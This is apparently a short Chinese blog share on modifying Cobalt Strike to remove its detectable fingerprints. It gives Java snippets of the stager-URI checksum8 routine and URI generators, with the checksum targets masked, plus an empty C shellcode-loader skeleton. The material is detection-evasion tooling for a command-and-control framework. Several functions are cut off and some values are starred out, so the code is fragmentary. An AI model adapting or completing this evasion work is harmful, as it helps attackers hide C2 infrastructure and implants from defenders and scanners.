分享 | CS二开--特征消除2

public static long checksum8(String text) {if (text.length() < 4) {return 0L;}text = text.replace("/", "");long sum = 0L;for (int x = 0; x < text.length(); ++x) {sum += text.charAt(x);}return sum ;}

   public static void main(String []args) {        String key = "0797809e694f99998172aec328c672f26eea6a664.cs";        long flag = checksum8(key);        System.out.println(flag);    }}

public static boolean isStager(String uri) {   return checksum8(uri) == ****;

public static String MSFURI(final int n) {final String[] array = toArray("a, b, c, d, e, f, h, i, j, k, l, m, n, o, p, q, r, s, t, u, v, w, x, y, z, A, B, C, D, E, F, G, H, I, J, K, L, M, N, O, P, Q, R, S, T, U, V, W, X, Y, Z, 1, 2, 3, 4, 5, 6, 7, 8, 9, 9");StringBuffer sb;do {sb = new StringBuffer(n + 1);sb.append("/");for (int i = 0; i < n; ++i) {sb.append(pick(array));}} while (checksum8(sb.toString()) != ****);return

public static String MSFURI_X64() {final String[] array = toArray("a, b, c, d, e, f, h, i, j, k, l, m, n, o, p, q, r, s, t, u, v, w, x, y, z, A, B, C, D, E, F, G, H, I, J, K, L, M, N, O, P, Q, R, S, T, U, V, W, X, Y, Z, 1, 2, 3, 4, 5, 6, 7, 8, 9, 9");String string;do {string = "/" + pick(array) + pick(array) + pick(array) + pick(array);} while (checksum8(string) != ****);

#include <windows.h>#include <stdio.h>unsigned char buf[] ="";void main(){      ***}